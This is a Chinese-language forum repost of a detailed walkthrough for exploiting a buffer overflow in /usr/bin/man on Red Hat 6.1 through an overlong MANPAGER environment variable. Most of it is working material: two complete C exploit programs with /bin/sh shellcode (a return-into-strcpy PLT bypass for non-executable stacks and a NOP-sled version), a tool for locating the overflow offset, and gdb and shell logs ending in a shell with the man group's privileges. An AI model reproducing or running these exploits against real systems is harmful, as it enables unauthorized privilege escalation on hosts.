找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1256|回复: 0

一次完整的缓冲区溢出攻击分析

[复制链接]

286

主题

75

回帖

491

牛毛

一级牛人

車菿山偂^︶ㄣ咇侑潞﹏﹖.

积分
491
发表于 2007-12-16 16:11:27 | 显示全部楼层 |阅读模式 来自 内蒙古兴安盟
前言:
本文描述了一次完整的缓冲区溢出攻击,是从理论走向实践的逐步演练。

测试:

Linux redhat-6.1 2.2.12-20 i386

目录:

1. 简介
2. 问题描述
3. 攻击思路
4. 攻击第一步,猜测确定几个关键地址
  (1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口
  (2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可
   执行的区域地址
  (3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址
  (4) 猜测确定问题缓冲区溢出点
5. 编写针对不可执行堆栈环境的溢出攻击程序
6. 一个辅助观察execle()之后内存布局的小程序
7. 编写针对常规环境下的溢出攻击程序
8. 关于core文件以及确定溢出点
9. 总结

1. 简介

我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机
没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可
以用于\"常规\"环境,所以就此次攻击做一完整描述,抛砖引玉,见笑。

2. 问题描述

/usr/bin/man 会使用 MANPAGER 环境变量,关于这个变量的细节请 man man 查看。
当 MANPAGER 变量设置成超长字符串时,会导致 /usr/bin/man 执行中缓冲区溢出。

[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print \"A\"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e \".ll 9.9i\\n.pl 1100i\";
/bin/cat /usr/man/man1/ls.1; echo \".pl \\n(nlu+10\") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
           |
           ------<------ 注意这里就是 MANPAGER 变量

注意到命令最后通过管道符&#39;|&#39;传递给了 MANPAGER 变量所指定的程序。

我们重复类似的操作,不断加大 MANPAGER 变量的长度,直到发生溢出。用\"二分法\"
较快地确定出当长度最小为 3945 时,缓冲区溢出并导致段错误。

[scz@ /home/scz/src]> export MANPAGER=`perl -e &#39;print \"A\"x3945&#39;`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e \".ll 9.9i\\n.pl 1100i\";
/bin/cat /usr/man/man1/ls.1; echo \".pl \\n(nlu+10\") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 这里已经出现段错误,通常是指针操作访问非法地
[scz@ /home/scz/src]> 址造成,很可能某个函数的返回地址已经被覆盖掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 这里删除该环境变量恢复正常

3. 攻击思路

姑且假设 /usr/bin/man 执行过程中读取 MANPAGER 变量到一个缓冲区中,由于未做
边界检查导致溢出,并覆盖了某个函数的返回地址。显然,覆盖值来自 MANPAGER 变
量的值,换句话说,用于覆盖的返回地址来自 MANPAGER 变量的值。

在\"常规\"环境下,理论上可以直接通过 MANPAGER 变量传递用于覆盖的返回地址以及
shellcode本身,因为3945大小的缓冲区已经足以做任何事情,也可以仅仅通过
MANPAGER 变量传递用于覆盖的返回地址,利用其他自定义环境变量传递shellcode。

在不可执行堆栈环境下,上述两种传递shellcode的办法都因为shellcode位于堆栈高
区,无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中
的<< 绕过Linux不可执行堆栈保护方法浅析 >>,具体的技术原理不再赘述。

Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是,用于覆盖的返回地址指
向 strcpy() 函数的 PLT 入口(过程链接表入口),同时在堆栈中利用 MANPAGER 变
量的缓冲区溢出,伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。
shellcode采用自定义环境变量的技术传递进入堆栈高区,因为使用了 execle() 函
数调用,该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定,很容易猜
测调整。当返回地址被成功覆盖后,程序流程随着问题函数的返回而转向一个
strcpy() 函数调用,strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环
境变量区(堆栈高区)拷贝到另外一个区域,这个区域要求在不可执行堆栈环境下依旧
可写可执行,该区域必须在 /usr/bin/man 进程的地址空间内。显然,这个区域的地
址需要提前猜测确定,因为该区域的地址作为 strcpy() 函数调用的目标地址,必须
在伪造假栈帧时提供,后面我们会介绍猜测确定该区域地址的技术手段。

至于 strcpy() 函数调用完成,我们的shellcode已经进入可执行区域,流程又是如
何转向我们自己的shellcode,请参看tt在绿盟网络安全月刊第8期中的
<< 绕过Linux不可执行堆栈保护方法浅析 >>,内有图示,我看得头都快白了,总算
理解,chat* sigh。

从上面的攻击思路分析中完全可以看出,Lam3rZ 小组的 Kil3r 的攻击手段适用范围
要广些,所以我们先采用这种技术完成一次攻击。

4. 攻击第一步,猜测确定几个关键地址

(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口

[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as \"i386-redhat-linux\"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80***90e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
              |
#define STRCPYPLT 0x08***90e4 ------>------

因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中,我们需要确定的 strcpy()
函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口
和 /usr/bin/man 文件二进制映像有关,对于某个确定的elf格式的程序文件,该
入口相对固定。

(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区
域地址

[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 输入 Ctrl-Z 挂起 man ls
[scz@ /home/scz/src]> jobs
[1]+ Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
080****0000-080****1000 rw-p 000****7000 03:06 36***27 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>

这个区域显示的是可读写,并没有可执行,但实际是可执行的。我们挑选一个处在4
字节对齐边界上的地址,将来shellcode最终被拷贝到该地址并在该地址上开始执行。

#define SHELLCODETARGET 0x08***10c

注意,这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中,所以不得出现
零值。我当时挑选了 0x080****0100 ,结果总是不能正确溢出,后来才想起这个毛病所
在。

我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址,而直接使用
strcpy() 函数的 GOT 入口(全局偏移表入口)地址。

[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as \"i386-redhat-linux\"...
(gdb) disas strcpy
0x80***90e4 <strcpy> : jmp *0x8050cac
0x80***90ea <strcpy+6> : push $0x1d8 <-- -- -- 动态链接器使用
0x80***90ef <strcpy+11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used+11***76>: 0x08***90ea
(gdb) q
[scz@ /home/scz/src]>

#define STRCPYPLT 0x08***90e4
#define STRCPYGOT 0x08***50cac
#define SHELLCODETARGET STRCPYGOT

显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为
目标地址,会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码,使用
STRCPYGOT 的时候还没有发生字符串拷贝,换句话说,发生字符串拷贝的时候已经无
所谓 STRCPYGOT 处是什么内容了,反正我们的shellcode是不会使用 strcpy() 函数
的。要是还不放心,就不要直接使用 STRCPYGOT 作为目标地址,而使用 STRCPYGOT
+ 4 作为目标地址,只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函
数的入口地址,反正都无所谓。

(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址

下面的讨论基于一个假设,你已经明白elf文件的内存布局。我们需要通过环境变量
传递shellcode进入 /usr/bin/man 的进程空间,strcpy() 使用这里的shellcode作
为拷贝源。猜测确定拷贝源地址是必须的。

#define VULPROGRAM \"/usr/bin/man\"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )

这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的&#39;\\0&#39;。如果担心不够精
确,可以在shellcode的前部增加 NOP 指令。

上面的技术适用于i386/Linux平台,对于SPARC/Solaris平台这样相对复杂的情况,
还可以采用辅助程序观察execle()之后的内存布局,我们在条目6中介绍。

(4) 猜测确定问题缓冲区溢出点

实际上攻击从问题描述就已经开始了,发现问题的同时就开始了攻击过程,问题缓冲
区溢出点显然可以从 3945 + 9 = 3954 附近考虑。但是,不知道什么缘故,居然无
法得到core文件,也就无法深入调试,最后只好参看 Kil3r 的exploit code,发现
他使用的溢出点在4067,因为没有core文件,无法确定发生了什么,为什么3954已经
开始溢出,但真正有效溢出点却在4067,中间相差这么多字节,没有core的日子真难
过。

#define VULPOINT 4067

5. 编写针对不可执行堆栈环境的溢出攻击程序

/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/

#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>

/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"
\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"
\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";

#define STRCPYPLT 0x08***90e4
#define STRCPYGOT 0x08***50cac
#define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM \"/usr/bin/man\"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD &#39;A&#39;
#define SUCCESS 0
#define FAILURE -1

int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINT + SAFEPADLEN;

fprintf( stderr, \"Usage: %s [ vulPoint ]\\n\", argv[0] );
if ( argc > 1 )
{
  vulPoint = strtoul( argv[1], NULL, 10 );
  vulBufSize = vulPoint + SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
  fprintf( stderr, \"Can&#39;t allocate memory %lu bytes\\n\", vulBufSize );
  exit( FAILURE );
}
fprintf( stderr, \"vulPoint = %lu\\n\", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = &#39;\\0&#39;;
pointer = ( u_long * )( vulbuf + vulPoint );
*pointer++ = RETADDRESS;
*pointer++ = SHELLCODETARGET;
*pointer++ = SHELLCODETARGET;
*pointer++ = SHELLCODESOURCE;

memcpy( vulbuf, \"MANPAGER=\", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, \"ls\", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */

[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
     溢出成功 ------>------

这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力
猜测调整了。

我还碰到一个问题,该exploit code在SecureCRT或者CRT下执行都无法取得shell,
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint

6. 一个辅助观察execle()之后内存布局的小程序

/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256

void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, \"byteArray [ %lu bytes ] ----> \\n\", byteArrayLen );
if ( byteArrayLen <= 0 )
{
  return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset += 16 )
{
  fprintf( stderr, \"%08X \", offset );
  for ( j = 0; j < 16; j++, i++ )
  {
    if ( j == 8 )
    {
     fprintf( stderr, \"-%02X\", byteArray );
    }
    else
    {
     fprintf( stderr, \" %02X\", byteArray );
    }
  }
  fprintf( stderr, \" \" );
  i -= 16;
  for ( j = 0; j < 16; j++, i++ )
  {
    /* if ( isprint( (int)byteArray ) ) */
    if ( ( byteArray >= &#39; &#39; ) && ( byteArray <= 255 ) )
    {
     fprintf( stderr, \"%c\", byteArray );
    }
    else
    {
     fprintf( stderr, \".\" );
    }
  }
  fprintf( stderr, \"\\n\" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
  return;
}
fprintf( stderr, \"%08X \", offset );
for ( j = 0 ; j < k; j++, i++ )
{
  if ( j == 8 )
  {
    fprintf( stderr, \"-%02X\", byteArray );
  }
  else
  {
    fprintf( stderr, \" %02X\", byteArray );
  }
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
  fprintf( stderr, \" \" );
}
fprintf( stderr, \" \" );
for ( j = 0; j < k; j++, i++ )
{
  if ( ( byteArray >= &#39; &#39; ) && ( byteArray <= 255 ) )
  {
    fprintf( stderr, \"%c\", byteArray );
  }
  else
  {
    fprintf( stderr, \".\" );
  }
}
fprintf( stderr, \"\\n\" );
return;
} /* end of outputBinary */

int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t envDataLen = ENVDATALEN;
if ( argc > 1 )
{
  /* 采用16进制 */
  envData = ( u_char * )strtoul( argv[1], NULL, 16 );
  if ( argc > 2 )
  {
    /* 采用10进制 */
    envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );
  }
}
fprintf( stderr, \"Usage: %s [ envData ] [ envDataLen ]\\n\", argv[0] );
fprintf( stderr, \"envData = %p\\n\", envData );
fprintf( stderr, \"envDataLen = %lu\\n\", envDataLen );
outputBinary( envData, envDataLen );
return( SUCCESS );
} /* end of main */

程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个
地方修改一下:

#define VULPROGRAM \"./ev\"
execle( VULPROGRAM, VULPROGRAM, \"0xbfffff00\", NULL, env );

这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:

cp ev usrbin_man
#define VULPROGRAM \"./usrbin_man\"
execle( VULPROGRAM, VULPROGRAM, \"0xbfffff00\", NULL, env );

此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。

这种技术手段适用于SPARC/Solaris平台,我们利用它可以确定很多关键性地址,可
以调整那些需要n字节边界对齐的地方。

7. 编写针对常规环境下的溢出攻击程序

--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>

/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"
\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"
\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";

#define VULPROGRAM \"/usr/bin/man\"
#define VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define FAILURE -1
#define OFFSET 2000

unsigned long get_esp ( void )
{
__asm__
(\"
  movl %esp, %eax
\");
} /* end of get_esp */

int main ( int argc, char * argv[] )
{

char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT + 5 ];

memset( vulbuf, NOP, VULPOINT + 5 );
memcpy( vulbuf + VULPOINT - ( strlen( shellcode ) + 20 ),
    shellcode, strlen( shellcode ) );

retAddress = get_esp() + OFFSET;
pointer = ( u_long * )( vulbuf + VULPOINT );
*pointer = retAddress;
fprintf( stderr, \"retAddress = 0x%08x\\n\", retAddress );

memcpy( vulbuf, \"MANPAGER=\", 9 );
vulbuf[ VULPOINT + 4 ] = &#39;\\0&#39;;
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, \"ls\", NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------

在调试这个程序的时候,我们发现 MANPAGER 环境变量值长度在某个地方被检查过,
只是这个检查对于溢出攻击取得shell并没有起到保护作用。

为什么这里定义 OFFSET 为2000呢,可以采用条目6中的办法来观察一下execle()之
后环境变量区里的内容,简单修改如下:

--------------------------------------------------------------------------
#define VULPROGRAM \"./usrbin_man\"
... ...
execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------

偏移为2000的时候返回地址落在NOP区内。那么溢出点4067呢?没办法,还是从前一
个程序里直接获知的,有core dump的时候可以调试确定。

8. 关于core文件以及确定溢出点

以前知道一点产生core dump的条件,但感受不深,今天都快要结束本篇灌水了,才
真正感受了一下。

我拷贝了一个/usr/bin/man到当前目录~scz/src下,然后定义问题程序为./man,此
时以scz用户身份运行exploit code,故意不正确覆盖返回地址,立即得到
core dump。

后来又以root身份在几个不同的当前目录下测试不同的组合情况,有些时候会得到
core dump,有些时候只报告段溢出。core文件是内存映像文件,与产生它的进程密
切相关,而产生进程对应硬盘文件的属主、权限以及当前执行它的用户身份都与是否
产生core dump有关。情况虽然很复杂很多,但至少有一点可以肯定,如果包括
exploit code和问题程序在内的的所有文件都是当前用户所有,段溢出时一般都会
core dump在当前目录下。对于上面的/usr/bin/man,我们完全可以调试./man找到
溢出点。此外需要提醒的是,如果希望得到正确的core dump,一定要先删除当前目
录下已经存在的core文件。

之所以这样限制core dump,应该有其安全方面的考虑。下面我们来简单看看如何确
定./man的溢出点。

--------------------------------------------------------------------------
/*
* gcc -o ex_man ex_man.c
*
* 目的就是产生core dump
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>

#define VULPROGRAM \"./man\"
#define PAD_1 &#39;A&#39;
#define PAD_2 &#39;B&#39;
#define SUCCESS 0
#define FAILURE -1

int main ( int argc, char * argv[] )
{
char * vulbuf = NULL;
char * env[2];
u_long vulbufSize;
if ( argc != 2 )
{
  fprintf( stderr, \"Usage: %s <vulbufSize>\\n\", argv[0] );
  return( FAILURE );
}
vulbufSize = strtoul( argv[1], NULL, 10 );
vulbuf = ( char * )malloc( vulbufSize );
if ( vulbuf == NULL )
{
  fprintf( stderr, \"Can&#39;t allocate memory %lu bytes\\n\", vulbufSize );
  return( FAILURE );
}
memset( vulbuf, PAD_1, vulbufSize );
vulbuf[ vulbufSize - 5 ] = PAD_2;
vulbuf[ vulbufSize - 4 ] = PAD_2;
vulbuf[ vulbufSize - 3 ] = PAD_2;
vulbuf[ vulbufSize - 2 ] = PAD_2;
vulbuf[ vulbufSize - 1 ] = &#39;\\0&#39;;
memcpy( vulbuf, \"MANPAGER=\", 9 );
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, \"ls\", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------

[scz@ /home/scz/src]> ./ex_man 5000
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x414****4141 in ?? ()
#0 0x414****4141 in ?? ()
(gdb) bt
#0 0x414****4141 in ?? ()
Cannot access memory at address 0x414****4141.
(gdb) q
[scz@ /home/scz/src]>

说明5000已经导致返回地址被覆盖成0x414****4141,考虑减小该值。重复类似步骤,直
到发现4063仍未溢出,4064开始溢出,并core dump。

[scz@ /home/scz/src]> ./ex_man 4063
[scz@ /home/scz/src]> ./ex_man 4064
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x414****4141 in ?? ()
#0 0x414****4141 in ?? ()
(gdb) bt
#0 0x414****4141 in ?? ()
Cannot access memory at address 0x414****4141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4065
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
Core was generated by `./man ls&#39;.
Program terminated with signal 11, Segmentation fault.
#0 0x0 in ?? ()
(gdb) bt
#0 0x0 in ?? ()
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4066
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0xbf00***36.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4067
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0x42***36.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4068
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
#1 0x807d948 in ?? ()
Cannot access memory at address 0x424****4242.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4069
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x80***42 in ?? ()
(gdb) bt
#0 0x80***42 in ?? ()
Cannot access memory at address 0x424****4241.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4070
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x80***42 in ?? ()
(gdb) bt
#0 0x80***42 in ?? ()
Cannot access memory at address 0x424****4141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4071
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42***42 in ?? ()
(gdb) bt
#0 0x42***42 in ?? ()
Cannot access memory at address 0x424****4141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4072
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x424****4242 in ?? ()
(gdb) bt
#0 0x424****4242 in ?? ()
Cannot access memory at address 0x414****4141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4073
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x424****4241 in ?? ()
(gdb) bt
#0 0x424****4241 in ?? ()
Cannot access memory at address 0x414****4141.
(gdb) q
[scz@ /home/scz/src]>

在从4064到4073的分析观察过程中,我们显然已经看到,当取值4072的时候会覆盖一
个函数指针还是返回地址什么的,总之是个会导致控制流转移的4字节。注意到我们
测试程序中代码,溢出点应该在 4072 - 5 = 4067。至此,猜测确定溢出点的工作完
成了。至于为什么通过execle()执行和通过命令行shell执行时溢出点相差较远,我
也不清楚。看来以后确定溢出点,直接用程序猜测确定要准确些。

core文件的好处很多,这里仅仅列举了一种应用。以后看到core我就要看看什么宝贝
其中,说不好一个shadow就来了。grin

9. 总结

a) 可以利用条目6的办法观察execle()之后环境变量区内容,确定很多地址。
b) 无法溢出取得shell的时候尝试换个终端登录工具。
c) 没有core dump,你就去死吧。一定要想法得到core文件,进而调试确定问题程序
溢出点。得不到core时仔细检查相关文件权限以及当前用户身份。


本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://hackbase.com/tech/2007%2D12%2D15/11123265505/
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-10 19:28 , Processed in 0.122924 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表